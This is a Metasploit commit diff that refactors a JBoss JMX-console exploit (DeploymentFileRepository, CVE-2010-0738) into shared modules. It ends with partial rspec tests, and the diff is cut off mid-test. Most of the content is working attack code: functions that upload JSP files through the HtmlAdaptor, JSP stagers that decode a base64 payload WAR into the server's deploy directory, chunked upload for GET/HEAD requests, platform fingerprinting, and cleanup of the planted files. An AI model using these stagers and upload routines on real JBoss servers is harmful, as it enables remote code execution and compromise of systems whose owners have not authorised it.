Land #3729, @us3r777's Jboss deploymentfilerepository refactoring
commit
37fbe963b5
|
@ -5,13 +5,17 @@ module Msf
|
|||
module HTTP
|
||||
module JBoss
|
||||
require 'msf/http/jboss/base'
|
||||
require 'msf/http/jboss/bean_shell_scripts'
|
||||
require 'msf/http/jboss/bean_shell'
|
||||
require 'msf/http/jboss/bean_shell_scripts'
|
||||
require 'msf/http/jboss/deployment_file_repository'
|
||||
require 'msf/http/jboss/deployment_file_repository_scripts'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::JBoss::Base
|
||||
include Msf::HTTP::JBoss::BeanShellScripts
|
||||
include Msf::HTTP::JBoss::BeanShell
|
||||
include Msf::HTTP::JBoss::BeanShellScripts
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepository
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
|
@ -5,7 +5,7 @@ module Msf::HTTP::JBoss::Base
|
|||
# Deploys a WAR through HTTP uri invoke
|
||||
#
|
||||
# @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options
|
||||
# @param num_attempts [Integer] The number of attempts
|
||||
# @param num_attempts [Integer] The number of attempts
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise
|
||||
def deploy(opts = {}, num_attempts = 5)
|
||||
uri = opts['uri']
|
||||
|
@ -46,4 +46,96 @@ module Msf::HTTP::JBoss::Base
|
|||
datastore['VERB']
|
||||
end
|
||||
|
||||
|
||||
# Try to auto detect the target architecture and platform
|
||||
#
|
||||
# @param [Array] The available targets
|
||||
# @return [Msf::Module::Target, nil] The detected target or nil
|
||||
def auto_target(available_targets)
|
||||
if http_verb == 'HEAD'
|
||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||
else
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
plat = detect_platform(res)
|
||||
unless plat
|
||||
print_warning('Unable to detect platform!')
|
||||
return nil
|
||||
end
|
||||
|
||||
arch = detect_architecture(res)
|
||||
unless arch
|
||||
print_warning('Unable to detect architecture!')
|
||||
return nil
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
|
||||
end
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
|
||||
|
||||
java_targets[0]
|
||||
end
|
||||
|
||||
# Query the server information from HtmlAdaptor
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
|
||||
def query_serverinfo
|
||||
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => http_verb,
|
||||
'vars_get' =>
|
||||
{
|
||||
'action' => 'inspectMBean',
|
||||
'name' => 'jboss.system:type=ServerInfo'
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
|
||||
# @return [String, nil] The target platform or nil
|
||||
def detect_platform(res)
|
||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
|
||||
# @return [String, nil] The target architecture or nil
|
||||
def detect_architecture(res)
|
||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||
arch = $1
|
||||
if arch =~ /(x86|i386|i686)/i
|
||||
return ARCH_X86
|
||||
elsif arch =~ /(x86_64|amd64)/i
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::BeanShellScripts
|
||||
|
||||
|
||||
# Generates a Bean Shell Script.
|
||||
#
|
||||
# @param type [Symbol] The Bean Shell script type, `:create` or `:delete`.
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::DeploymentFileRepository
|
||||
|
||||
# Upload a text file with DeploymentFileRepository.store()
|
||||
#
|
||||
# @param base_name [String] The destination base name
|
||||
# @param jsp_name [String] The destanation file name
|
||||
# @param content [String] The content of the file
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||
def upload_file(base_name, jsp_name, content)
|
||||
params = { }
|
||||
params.compare_by_identity
|
||||
params['action'] = 'invokeOpByName'
|
||||
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||
params['methodName'] = 'store'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg0'] = base_name + '.war'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg1'] = jsp_name
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg2'] = '.jsp'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg3'] = content
|
||||
params['argType'] = 'boolean'
|
||||
params['arg4'] = 'True'
|
||||
|
||||
opts = {
|
||||
'method' => http_verb,
|
||||
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||
}
|
||||
|
||||
if http_verb == 'POST'
|
||||
opts.merge!('vars_post' => params)
|
||||
else
|
||||
opts.merge!('vars_get' => params)
|
||||
end
|
||||
|
||||
send_request_cgi(opts)
|
||||
end
|
||||
|
||||
# Delete a file with DeploymentFileRepository.remove().
|
||||
#
|
||||
# @param folder [String] The destination folder name
|
||||
# @param name [String] The destination file name
|
||||
# @param ext [String] The destination file extension
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||
def delete_file(folder, name, ext)
|
||||
params = { }
|
||||
params.compare_by_identity
|
||||
params['action'] = 'invokeOpByName'
|
||||
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||
params['methodName'] = 'remove'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg0'] = folder
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg1'] = name
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg2'] = ext
|
||||
|
||||
opts = {
|
||||
'method' => http_verb,
|
||||
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||
}
|
||||
|
||||
if http_verb == 'POST'
|
||||
opts.merge!('vars_post' => params)
|
||||
timeout = 5
|
||||
else
|
||||
opts.merge!('vars_get' => params)
|
||||
timeout = 30
|
||||
end
|
||||
send_request_cgi(opts, timeout)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
# Generate a stager JSP to write the second stager to the
|
||||
# deploy/management directory. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
#
|
||||
# @param stager_base [String] The name of the base of the stager.
|
||||
# @param stager_jsp [String] The name name of the jsp stager.
|
||||
# @return [String] The JSP head stager.
|
||||
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
|
||||
try {
|
||||
String #{content_var} = "";
|
||||
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||
#{content_var} = request.getParameter(parameterName);
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e) { }
|
||||
%>
|
||||
EOT
|
||||
head_stager_jsp_code
|
||||
end
|
||||
|
||||
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||
# This is used to bypass the size limit for GET/HEAD requests.
|
||||
#
|
||||
# @param app_base [String] The name of the WAR app to write.
|
||||
# @return [String] The JSP stager.
|
||||
def stager_jsp_with_payload(app_base, encoded_payload)
|
||||
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
|
||||
stager_jsp = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*,
|
||||
sun.misc.BASE64Decoder"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||
try {
|
||||
String #{content_var} = "#{encoded_payload}";
|
||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||
#{fos_var}.write(#{decoded_var});
|
||||
#{fos_var}.close();
|
||||
}
|
||||
catch(Exception e){ }
|
||||
%>
|
||||
EOT
|
||||
|
||||
stager_jsp
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -126,8 +126,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
case action.name
|
||||
when 'Deploy'
|
||||
unless File.exist?(datastore['WARFILE'])
|
||||
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||
print_error("WAR file not found")
|
||||
return
|
||||
end
|
||||
war_data = File.read(datastore['WARFILE'])
|
||||
deploy_action(app_base, war_data)
|
||||
|
|
|
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
mytarget = target
|
||||
|
||||
if target.name =~ /Automatic/
|
||||
mytarget = auto_target
|
||||
mytarget = auto_target(targets)
|
||||
unless mytarget
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
|
@ -195,73 +195,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
handler
|
||||
end
|
||||
|
||||
def auto_target
|
||||
if http_verb == 'HEAD' then
|
||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||
else
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
||||
end
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
||||
return java_targets[0]
|
||||
end
|
||||
|
||||
def query_serverinfo
|
||||
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => http_verb
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform(res)
|
||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
def detect_architecture(res)
|
||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||
arch = $1
|
||||
if (arch =~ /(x86|i386|i686)/i)
|
||||
return ARCH_X86
|
||||
elsif (arch =~ /(x86_64|amd64)/i)
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,10 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::JBoss
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
||||
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
||||
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
||||
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
|
||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||
stager_base = rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp = rand_text_alpha(8+rand(8))
|
||||
stager_jsp = rand_text_alpha(8+rand(8))
|
||||
content_var = rand_text_alpha(8+rand(8))
|
||||
decoded_var = rand_text_alpha(8+rand(8))
|
||||
file_path_var = rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
||||
fos_var = rand_text_alpha(8+rand(8))
|
||||
bw_var = rand_text_alpha(8+rand(8))
|
||||
stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
|
||||
p = payload
|
||||
mytarget = target
|
||||
|
||||
if (datastore['VERB'] == 'HEAD')
|
||||
if (http_verb == 'HEAD')
|
||||
print_status("Unable to automatically select a target with HEAD requests")
|
||||
else
|
||||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target()
|
||||
mytarget = auto_target(targets)
|
||||
if (not mytarget)
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
|
@ -134,289 +120,69 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}).to_s
|
||||
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
|
||||
# The following jsp script will write the stager to the
|
||||
# deploy/management directory. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
|
||||
<%
|
||||
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
|
||||
|
||||
|
||||
if (request.getParameter("#{content_var}") != null) {
|
||||
|
||||
try {
|
||||
String #{content_var} = "";
|
||||
#{content_var} = request.getParameter("#{content_var}");
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
}
|
||||
}
|
||||
%>
|
||||
|
||||
EOT
|
||||
|
||||
# The following jsp script will write the exploded WAR file to the deploy/
|
||||
# directory or try to delete it
|
||||
stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*,
|
||||
sun.misc.BASE64Decoder"
|
||||
%>
|
||||
|
||||
<%
|
||||
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||
|
||||
|
||||
try {
|
||||
String #{content_var} = "#{encoded_payload}";
|
||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||
#{fos_var}.write(#{decoded_var});
|
||||
#{fos_var}.close();
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
}
|
||||
%>
|
||||
|
||||
EOT
|
||||
|
||||
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
|
||||
# Depending on the type on the verb we might use a second stager
|
||||
if datastore['VERB'] == "POST" then
|
||||
if http_verb == "POST" then
|
||||
print_status("Deploying stager for the WAR file")
|
||||
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
|
||||
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||
else
|
||||
print_status("Deploying minimal stager to upload the payload")
|
||||
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
|
||||
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
|
||||
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||
|
||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||
# target with multiple requests
|
||||
current_pos = 0
|
||||
while current_pos < stager_jsp_code.length
|
||||
while current_pos < stager_contents.length
|
||||
next_pos = current_pos + 5000 + rand(100)
|
||||
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
|
||||
res = call_uri_mtimes(head_stager_uri + junk)
|
||||
vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||
res = deploy('uri' => head_stager_uri,
|
||||
'vars_get' => vars_get)
|
||||
current_pos += next_pos
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Call the stager to deploy the payload war file
|
||||
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
||||
# but the file still gets written.
|
||||
if (res.code == 200 || res.code == 500)
|
||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
|
||||
stager_res = call_uri_mtimes(stager_uri)
|
||||
unless res && ( res.code == 200 || res.code == 500)
|
||||
fail_with(Failure::Unknown, "Failed to deploy")
|
||||
end
|
||||
|
||||
print_status("Try to call the deployed payload")
|
||||
# Try to execute the payload by calling the deployed WAR file
|
||||
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
||||
payload_res = call_uri_mtimes(payload_uri)
|
||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||
stager_res = deploy('uri' => stager_uri,
|
||||
'method' => 'GET')
|
||||
|
||||
#
|
||||
# DELETE
|
||||
#
|
||||
# The WAR can only be removed by physically deleting it, otherwise it
|
||||
# will get redeployed after a server restart.
|
||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
|
||||
delete_res = []
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
||||
delete_res.each do |res|
|
||||
if !res
|
||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||
elsif (res.code < 200 || res.code >= 300)
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
print_status("Try to call the deployed payload")
|
||||
# Try to execute the payload by calling the deployed WAR file
|
||||
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
||||
payload_res = deploy('uri' => payload_uri)
|
||||
|
||||
#
|
||||
# DELETE
|
||||
#
|
||||
# The WAR can only be removed by physically deleting it, otherwise it
|
||||
# will get redeployed after a server restart.
|
||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
delete_res = []
|
||||
if head_stager_jsp_name
|
||||
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
|
||||
end
|
||||
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
|
||||
delete_res << delete_file('./', stager_base + '.war', '')
|
||||
delete_res << delete_file('./', app_base + '.war', '')
|
||||
delete_res.each do |res|
|
||||
if !res
|
||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||
elsif (res.code < 200 || res.code >= 300)
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Upload a text file with DeploymentFileRepository.store()
|
||||
def upload_file(base_name, jsp_name, content)
|
||||
data = 'action=invokeOpByName'
|
||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
||||
data << '&methodName=store'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg1=' + jsp_name
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg2=.jsp'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg3=' + Rex::Text.uri_encode(content)
|
||||
data << '&argType=boolean'
|
||||
data << '&arg4=True'
|
||||
|
||||
if (datastore['VERB'] == "POST")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
||||
'method' => datastore['VERB'],
|
||||
'data' => data
|
||||
}, 5)
|
||||
else
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
|
||||
'method' => datastore['VERB'],
|
||||
}, 30)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Delete a file with DeploymentFileRepository.remove().
|
||||
def delete_file(folder, name, ext)
|
||||
data = 'action=invokeOpByName'
|
||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
||||
data << '&methodName=remove'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg0=' + folder
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg1=' + name
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg2=' + ext
|
||||
|
||||
if (datastore['VERB'] == "POST")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
||||
'method' => datastore['VERB'],
|
||||
'data' => data
|
||||
}, 5)
|
||||
else
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
|
||||
'method' => datastore['VERB'],
|
||||
}, 30)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
# Call the URL multiple times until we have hit
|
||||
def call_uri_mtimes(uri, num_attempts = 5)
|
||||
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
|
||||
|
||||
# JBoss might need some time for the deployment. Try 5 times at most and
|
||||
# wait 5 seconds inbetween tries
|
||||
num_attempts.times do |attempt|
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => verb
|
||||
}, 30)
|
||||
|
||||
stripped_uri = uri[0,70] + "..."
|
||||
msg = nil
|
||||
if (!res)
|
||||
msg = "Execution failed on #{stripped_uri} [No Response]"
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
msg = "http request failed to #{stripped_uri} [#{res.code}]"
|
||||
elsif (res.code == 200)
|
||||
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
|
||||
return res
|
||||
end
|
||||
|
||||
if (attempt < num_attempts - 1)
|
||||
msg << ", retrying in 5 seconds..."
|
||||
print_status(msg) if datastore['VERBOSE']
|
||||
select(nil, nil, nil, 5)
|
||||
else
|
||||
print_error(msg)
|
||||
return res
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def auto_target
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
||||
return java_targets[0]
|
||||
end
|
||||
|
||||
|
||||
def query_serverinfo
|
||||
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => datastore['VERB']
|
||||
}, 20)
|
||||
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform(res)
|
||||
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
def detect_architecture(res)
|
||||
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
||||
arch = $1
|
||||
if (arch =~ /(x86|i386|i686)/i)
|
||||
return ARCH_X86
|
||||
elsif (arch =~ /(x86_64|amd64)/i)
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -58,4 +58,72 @@ describe Msf::HTTP::JBoss::Base do
|
|||
end
|
||||
end
|
||||
|
||||
describe "#query_serverinfo" do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
if res_code.nil?
|
||||
res = nil
|
||||
else
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = res_code
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
context 'when server timeouts' do
|
||||
let(:res_code) { nil }
|
||||
it { expect(subject.query_serverinfo()).to be_nil }
|
||||
end
|
||||
|
||||
context 'when server returns 200' do
|
||||
let(:res_code) { 200 }
|
||||
it { expect(subject.query_serverinfo()).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
end
|
||||
|
||||
describe "#detect_plateform" do
|
||||
context "when server arch is Linux" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSName: Linux</td>"
|
||||
it { expect(subject.detect_platform(res)).to eq "linux" }
|
||||
end
|
||||
|
||||
